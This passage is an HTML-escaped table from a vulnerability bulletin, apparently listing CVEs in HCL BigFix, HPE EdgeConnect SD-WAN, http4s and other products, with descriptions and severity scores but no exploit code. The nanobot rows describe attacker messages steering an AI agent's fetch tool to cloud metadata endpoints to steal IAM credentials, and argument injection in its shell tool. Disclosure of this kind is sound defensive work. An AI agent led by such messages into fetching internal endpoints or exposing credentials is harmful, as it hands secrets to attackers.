&lt;td&gt;HCL BigFix Service Management is affected by SQL Injection flaw and a Cross-Tenant Data Exposure flaw vulnerabilities. which could allow an authenticated attacker to inject database commands to extract sensitive system details, as well as manipulate request values to gain unauthorized access to full personal profile data and PII across different organizations.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-67100&quot; target=&quot;_blank&quot;&gt;CVE-2026-67100&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;HCL Software--HCL BigFix Service Management&lt;/td&gt;
&lt;td&gt;HCL BigFix Service Management is affected by a Server-Side Request Forgery (SSRF) vulnerability in its search functionality, which could allow an attacker to force the application server to send requests to internal systems that are not accessible from the internet.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;9.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-67101&quot; target=&quot;_blank&quot;&gt;CVE-2026-67101&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;HCL Software--HCL BigFix Service Management&lt;/td&gt;
&lt;td&gt;HCL BigFix Service Management is affected by a high-severity Broken Access Control vulnerability, which could allow a low-privileged user to gain unauthorized access to administrative screens and functions reserved for higher-privileged roles.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-67102&quot; target=&quot;_blank&quot;&gt;CVE-2026-67102&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;HCL Software--HCL BigFix Service Management&lt;/td&gt;
&lt;td&gt;HCL BigFix Service Management is affected by Cross-Site Scripting (XSS) vulnerability, which could allow an attacker to inject unsanitized malicious scripts that execute in a victim&#039;s browser, enabling session hijacking, account takeover, and unauthorized actions on behalf of affected users.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;7.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-67103&quot; target=&quot;_blank&quot;&gt;CVE-2026-67103&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Hewlett Packard Enterprise (HPE)--EdgeConnect SD-WAN Gateways&lt;/td&gt;
&lt;td&gt;Privilege escalation vulnerabilities exist in the API of HPE Networking EdgeConnect SD-WAN Orchestrator. Successful exploitation could allow a remote low-privileged authenticated user to escalate their privileges to those of an administrative user, leading to complete system compromise.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76669&quot; target=&quot;_blank&quot;&gt;CVE-2026-76669&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Hewlett Packard Enterprise (HPE)--EdgeConnect SD-WAN Gateways&lt;/td&gt;
&lt;td&gt;Privilege escalation vulnerabilities exist in the API of HPE Networking EdgeConnect SD-WAN Orchestrator. Successful exploitation could allow a remote low-privileged authenticated user to escalate their privileges to those of an administrative user, leading to complete system compromise.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76670&quot; target=&quot;_blank&quot;&gt;CVE-2026-76670&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Hewlett Packard Enterprise (HPE)--EdgeConnect SD-WAN Gateways&lt;/td&gt;
&lt;td&gt;A vulnerability exists in the SD-WAN Orchestrator that may lead to the exposure of sensitive configuration information. An authenticated remote attacker with read-only privileges could exploit this vulnerability by sending a specially crafted request to the cache synchronization endpoint. Successful exploitation could result in the disclosure of sensitive third-party API tokens and credentials, potentially enabling lateral movement to external security platforms.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76672&quot; target=&quot;_blank&quot;&gt;CVE-2026-76672&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Hewlett Packard Enterprise (HPE)--EdgeConnect SD-WAN Gateways&lt;/td&gt;
&lt;td&gt;Vulnerabilities have been identified in the API of EdgeConnect SD-WAN Orchestrator that could potentially allow an unauthenticated remote actor to circumvent existing authentication controls. Successful exploitation could allow an attacker to gain administrative privileges leading to complete compromise of the EdgeConnect SD-WAN Orchestrator host.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76673&quot; target=&quot;_blank&quot;&gt;CVE-2026-76673&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Hewlett Packard Enterprise (HPE)--EdgeConnect SD-WAN Gateways&lt;/td&gt;
&lt;td&gt;Buffer overflow vulnerabilities exist in the underlying operating system of HPE Networking EdgeConnect SD-WAN Gateways that could allow an unauthenticated remote attacker to execute arbitrary code. Successful exploitation could allow an attacker to execute arbitrary commands on the underlying operating system leading to complete system compromise.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76674&quot; target=&quot;_blank&quot;&gt;CVE-2026-76674&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Hewlett Packard Enterprise (HPE)--EdgeConnect SD-WAN Gateways&lt;/td&gt;
&lt;td&gt;A command injection vulnerability exists in the command line interface of EdgeConnect SD-WAN Gateways. Successful exploitation could allow an authenticated remote attacker with high privileges to execute arbitrary commands on the underlying operating system leading to complete system compromise.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76675&quot; target=&quot;_blank&quot;&gt;CVE-2026-76675&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Hewlett Packard Enterprise (HPE)--EdgeConnect SD-WAN Gateways&lt;/td&gt;
&lt;td&gt;Buffer overflow vulnerabilities exist in the underlying operating system of EdgeConnect SD-WAN Gateways that could allow an unauthenticated adjacent attacker to execute arbitrary code if certain preconditions outside of the attacker&#039;s control are met. Successful exploitation could allow an attacker to execute arbitrary code as a privileged user on the underlying operating system leading to complete system compromise.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76676&quot; target=&quot;_blank&quot;&gt;CVE-2026-76676&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Hewlett Packard Enterprise (HPE)--EdgeConnect SD-WAN Gateways&lt;/td&gt;
&lt;td&gt;A privilege escalation vulnerability exists in the API of EdgeConnect SD-WAN Gateways. Successful exploitation could allow a remote low-privileged authenticated user to achieve administrative privilege on the web-management interface leading to complete system compromise.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76677&quot; target=&quot;_blank&quot;&gt;CVE-2026-76677&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Hewlett Packard Enterprise (HPE)--EdgeConnect SD-WAN Gateways&lt;/td&gt;
&lt;td&gt;A vulnerability in the API endpoint of HPE Networking EdgeConnect SD-WAN Gateways could allow a low-privilege authenticated remote attacker to escalate privileges. Successful exploitation of this vulnerability may enable the attacker to execute arbitrary system commands with root privileges on the underlying operating system.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76678&quot; target=&quot;_blank&quot;&gt;CVE-2026-76678&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Hewlett Packard Enterprise (HPE)--EdgeConnect SD-WAN Gateways&lt;/td&gt;
&lt;td&gt;Vulnerabilities in HPE Networking EdgeConnect SD-WAN Gateways could allow an unauthenticated adjacent attacker to conduct denial-of-service attacks. Successful exploitation could allow an attacker to crash the system, preventing it from rebooting without manual intervention and disrupting network operations.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76679&quot; target=&quot;_blank&quot;&gt;CVE-2026-76679&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Hewlett Packard Enterprise (HPE)--EdgeConnect SD-WAN Gateways&lt;/td&gt;
&lt;td&gt;Vulnerabilities in the API of EdgeConnect SD-WAN Orchestrator could allow a remote attacker authenticated with low privileges to conduct server-side request forgery (SSRF) attacks. A successful exploit allows an attacker to enumerate information about the internal structure of the EdgeConnect SD-WAN Orchestrator host leading to potential disclosure of sensitive information beyond what is authorized by the user&#039;s existing privilege level.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76680&quot; target=&quot;_blank&quot;&gt;CVE-2026-76680&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Hewlett Packard Enterprise (HPE)--EdgeConnect SD-WAN Gateways&lt;/td&gt;
&lt;td&gt;A vulnerability in the API of EdgeConnect SD-WAN Orchestrator could allow an authenticated remote attacker with low privileges to access sensitive information beyond what is authorized by the user&#039;s existing privilege level. Successful exploitation could allow an attacker to retrieve information which could be used to potentially gain further access to network services supported by EdgeConnect SD-WAN Orchestrator.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76681&quot; target=&quot;_blank&quot;&gt;CVE-2026-76681&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Hewlett Packard Enterprise (HPE)--EdgeConnect SD-WAN Gateways&lt;/td&gt;
&lt;td&gt;A vulnerability in the network security monitoring component of intrusion detection systems could allow an unauthenticated remote attacker to exploit a limited buffer overflow. Successful exploitation could allow an attacker to cause a denial-of-service or potentially execute arbitrary code on the system.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76682&quot; target=&quot;_blank&quot;&gt;CVE-2026-76682&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Hewlett Packard Enterprise (HPE)--EdgeConnect SD-WAN Gateways&lt;/td&gt;
&lt;td&gt;Buffer overflow vulnerabilities exist in the API endpoint of HPE Networking EdgeConnect SD-WAN Gateways that could allow an unauthenticated remote attacker to run arbitrary commands on the underlying host if certain preconditions outside of the attacker&#039;s control are met. Successful exploitation could allow an attacker to execute arbitrary commands on the underlying operating system leading to complete system compromise.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76683&quot; target=&quot;_blank&quot;&gt;CVE-2026-76683&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Hewlett Packard Enterprise (HPE)--EdgeConnect SD-WAN Gateways&lt;/td&gt;
&lt;td&gt;Vulnerabilities have been identified in the API of HPE Networking EdgeConnect SD-WAN Orchestrator that could potentially allow an unauthenticated remote actor to circumvent existing authentication controls. Successful exploitation could allow an attacker to gain administrative privileges leading to complete compromise of the EdgeConnect SD-WAN Orchestrator host.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76684&quot; target=&quot;_blank&quot;&gt;CVE-2026-76684&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Hewlett Packard Enterprise (HPE)--EdgeConnect SD-WAN Gateways&lt;/td&gt;
&lt;td&gt;A vulnerability exists in the proxy packet processing logic of the affected component where it improperly processes malformed or truncated input. An unauthenticated remote attacker could exploit this vulnerability by providing specially crafted input that triggers an integer overflow. Successful exploitation could result in a buffer overflow, potentially leading to remote code execution or denial-of-service.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76685&quot; target=&quot;_blank&quot;&gt;CVE-2026-76685&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Hewlett Packard Enterprise (HPE)--EdgeConnect SD-WAN Gateways&lt;/td&gt;
&lt;td&gt;A vulnerability exists in the underlying operating system of HPE Networking EdgeConnect SD-WAN Gateways. Successful exploitation could allow an unauthenticated remote attacker to conduct a denial-of-service attack on the affected service.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76686&quot; target=&quot;_blank&quot;&gt;CVE-2026-76686&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Hewlett Packard Enterprise (HPE)--EdgeConnect SD-WAN Gateways&lt;/td&gt;
&lt;td&gt;A vulnerability in the API endpoint of HPE Networking EdgeConnect SD-WAN Orchestrator could allow a low-privilege authenticated remote attacker to escalate privileges. Successful exploitation of this vulnerability may enable the attacker to execute arbitrary system commands with root privileges on the underlying operating system.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76687&quot; target=&quot;_blank&quot;&gt;CVE-2026-76687&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Hewlett Packard Enterprise (HPE)--EdgeConnect SD-WAN Gateways&lt;/td&gt;
&lt;td&gt;Vulnerabilities have been identified in the web-based management interface of EdgeConnect SD-WAN Orchestrator that could potentially allow an unauthenticated remote actor to circumvent existing authentication controls. Successful exploitation could allow an attacker to gain administrative privileges leading to complete compromise of the EdgeConnect SD-WAN Orchestrator host.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76688&quot; target=&quot;_blank&quot;&gt;CVE-2026-76688&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Hewlett Packard Enterprise (HPE)--EdgeConnect SD-WAN Gateways&lt;/td&gt;
&lt;td&gt;A vulnerability exists in the configuration processing logic of the affected component where malformed input is improperly processed. An authenticated remote attacker with administrative privileges could exploit this vulnerability by providing specially crafted configuration data. Successful exploitation could result in a stack-based buffer overflow, potentially leading to remote code execution with root privileges or a denial of service due to a system crash.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76689&quot; target=&quot;_blank&quot;&gt;CVE-2026-76689&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Hewlett Packard Enterprise (HPE)--EdgeConnect SD-WAN Gateways&lt;/td&gt;
&lt;td&gt;A vulnerability exists in a component of the HPE Networking EdgeConnect SD-WAN Gateways that may allow for arbitrary command execution. An authenticated remote attacker could exploit this vulnerability by providing a specially crafted input to the affected component. Successful exploitation could result in remote code execution as root.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76690&quot; target=&quot;_blank&quot;&gt;CVE-2026-76690&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Hewlett Packard Enterprise (HPE)--EdgeConnect SD-WAN Gateways&lt;/td&gt;
&lt;td&gt;Buffer overflow vulnerabilities exist in the API endpoint of HPE Networking EdgeConnect SD-WAN Gateways. Successful exploitation could allow an authenticated remote attacker to execute arbitrary commands as a privileged user on the underlying operating system.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76691&quot; target=&quot;_blank&quot;&gt;CVE-2026-76691&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Hewlett Packard Enterprise (HPE)--EdgeConnect SD-WAN Gateways&lt;/td&gt;
&lt;td&gt;A vulnerability in HPE Networking EdgeConnect SD-WAN Gateways could allow an unauthenticated adjacent attacker to obtain limited information from memory and disrupt the normal operation of the affected service. Successful exploitation could result in a denial of service (system crash) or the disclosure of uninitialized stack memory.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76692&quot; target=&quot;_blank&quot;&gt;CVE-2026-76692&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Hewlett Packard Enterprise (HPE)--EdgeConnect SD-WAN Gateways&lt;/td&gt;
&lt;td&gt;A vulnerability in HPE Networking EdgeConnect SD-WAN Gateways could allow an unauthenticated remote attacker to cause a denial-of-service against certain services running on impacted Gateways.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76693&quot; target=&quot;_blank&quot;&gt;CVE-2026-76693&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;HGiga--OAKlouds-bulletin_v3-2.0&lt;/td&gt;
&lt;td&gt;The OAKlouds developed by HGiga has an Arbitrary File Read vulnerability. Unauthenticated remote attackers can exploit Relative Path Traversal to read arbitrary system files.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93468&quot; target=&quot;_blank&quot;&gt;CVE-2026-93468&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;HGiga--OAKlouds-custom_page-2.0&lt;/td&gt;
&lt;td&gt;The OAKlouds developed by HGiga has a Insecure Deserialization vulnerability. Unauthenticated remote attackers can execute arbitrary code on the server by sending maliciously crafted serialized content.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93467&quot; target=&quot;_blank&quot;&gt;CVE-2026-93467&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;hickory-dns--hickory-resolver&lt;/td&gt;
&lt;td&gt;hickory-resolver versions before 0.26.2 fail to propagate bogus DNSSEC proof states through the Resolver::lookup() and Resolver::lookup_ip() APIs, allowing invalid records to be returned as successful results. Attackers controlling the answering zone or positioned on the network path can have forged DNS records accepted as validated, bypassing DNSSEC authentication checks.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93657&quot; target=&quot;_blank&quot;&gt;CVE-2026-93657&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;HKUDS--nanobot&lt;/td&gt;
&lt;td&gt;HKUDS nanobot before 0.3.0 contains a server-side request forgery vulnerability in the WebFetchTool component where the _validate_url() function fails to block internal IP ranges and private addresses. Attackers can send messages instructing the bot to fetch cloud metadata endpoints, localhost services, and RFC 1918 addresses to extract IAM credentials and internal service data.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92576&quot; target=&quot;_blank&quot;&gt;CVE-2026-92576&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;HKUDS--nanobot&lt;/td&gt;
&lt;td&gt;A vulnerability was identified in HKUDS nanobot up to 0.2.1. The affected element is the function ExecTool._guard_command/ExecTool._spawn of the file nanobot/agent/tools/shell.py of the component ExecTool. Such manipulation leads to argument injection. It is possible to launch the attack remotely. The name of the patch is af582246f141311d574551b7571a517bcc3df750. It is best practice to apply a patch to resolve this issue.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90809&quot; target=&quot;_blank&quot;&gt;CVE-2026-90809&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Hongjing--e-HR&lt;/td&gt;
&lt;td&gt;Hongjing e-HR before 8.2 contains a SQL injection vulnerability in the /servlet/codesettree endpoint where the categories query parameter is passed to a database query without sanitization after HRMS-encoding is stripped. An unauthenticated remote attacker can supply a crafted UNION SELECT payload to read arbitrary database content, including credential tables such as operuser. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-14.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2023-54399&quot; target=&quot;_blank&quot;&gt;CVE-2023-54399&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;http4k--http4k&lt;/td&gt;
&lt;td&gt;http4k is a functional toolkit for Kotlin HTTP applications. Prior to 4.51.0.0, 5.42.0.0, and 6.50.0.0, DigestAuthProvider.verify in http4k-security-digest does not compare the uri parameter in an Authorization: Digest response with the actual request URL. An attacker who captures a valid Digest authentication response can replay it against another URL served by the same realm, bypassing the per-request-URI binding and potentially gaining unauthorized read or write access. This issue is fixed in versions 4.51.0.0, 5.42.0.0, and 6.50.0.0.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54148&quot; target=&quot;_blank&quot;&gt;CVE-2026-54148&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;http4k--http4k&lt;/td&gt;
&lt;td&gt;http4k is a functional toolkit for Kotlin HTTP applications. Prior to 4.51.0.0, 5.42.0.0, and 6.49.0.0, ServerFilters.GZip, RequestFilters.GunZip, and the underlying Gzip request-body decompression functions impose no limit on decompressed size. An unauthenticated client can send a small gzip-encoded request body that expands to gigabytes, exhausting the JVM heap and denying service to other clients. The fix uses SizeLimitedInputStream to enforce a default 10 MiB limit, causes ServerFilters.GZip and RequestFilters.GunZip to return 413 Request Entity Too Large, and causes other decompression paths to throw SizeLimitExceededException. This issue is fixed in versions 4.51.0.0, 5.42.0.0, and 6.49.0.0.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-53659&quot; target=&quot;_blank&quot;&gt;CVE-2026-53659&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;http4s--blaze&lt;/td&gt;
&lt;td&gt;blaze is a Scala library for building asynchronous pipelines, with a focus on network IO. Prior to 0.23.18 and from 1.0.0-M1 until 1.0.0-M42, five HTTP/1.1 conformance laxities in the hand-written Java parser under http/src/main/java/org/http4s/blaze/http/parser/ can cause blaze to derive a different request boundary than a stricter fronting intermediary. A default BlazeServerBuilder accepts invalid or valueless header field names that violate tchar syntax, obsolete folded field lines (obs-fold), unsupported Transfer-Encoding values, duplicate Content-Length fields, and requests containing both Transfer-Encoding and Content-Length. If a lenient or legacy proxy forwards the malformed bytes but interprets them differently, the disagreement can permit front-end authorization bypass, response-queue poisoning on pooled backend connections, or cache poisoning. Exploitation requires a pair of disagreeing parsers; no non-default blaze configuration is required. The affected checks are enforced in BodyAndHeaderParser and Http1ServerParser. This issue is fixed in versions 0.23.18 and 1.0.0-M42.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73494&quot; target=&quot;_blank&quot;&gt;CVE-2026-73494&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;http4s--http4s&lt;/td&gt;
&lt;td&gt;Http4s is a Scala interface for HTTP services. Prior to 0.23.35 and 1.0.0-M47, Ember&#039;s HeaderP.parse uses a case-sensitive substring test for the Transfer-Encoding value and decodes header bytes with the platform default charset. Values such as Chunked are not recognized, values such as notchunked are incorrectly accepted, and Unicode case folding can turn a Kelvin-sign byte sequence into a match when UTF-8 is used. Intermediaries that apply RFC-compliant token and charset rules can therefore disagree with Ember&#039;s Content-Length or zero-length framing, enabling TE.CL or TE.0 request smuggling, access-control bypass, cross-user request hijacking, and cache poisoning on the server path. Response smuggling through an ember-client gateway requires a malicious or compromised upstream. This issue is fixed in versions 0.23.35 and 1.0.0-M47.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69205&quot; target=&quot;_blank&quot;&gt;CVE-2026-69205&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;http4s--http4s&lt;/td&gt;
&lt;td&gt;Http4s is a Scala interface for HTTP services. Prior to 0.23.35 and 1.0.0-M47, Ember&#039;s HTTP/1.1 parser accepts differing duplicate Content-Length headers and uses the last value instead of rejecting the message. When an Ember server is behind a keep-alive intermediary that selects a different occurrence, an unauthenticated attacker can create CL.CL request smuggling that bypasses front-end controls, captures a later user&#039;s headers, or poisons a cache. The shared client parser can also misframe responses from a malicious or compromised upstream when the client acts as a proxy for multiple downstream consumers. This issue is fixed in versions 0.23.35 and 1.0.0-M47.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.7&lt;/td&gt;
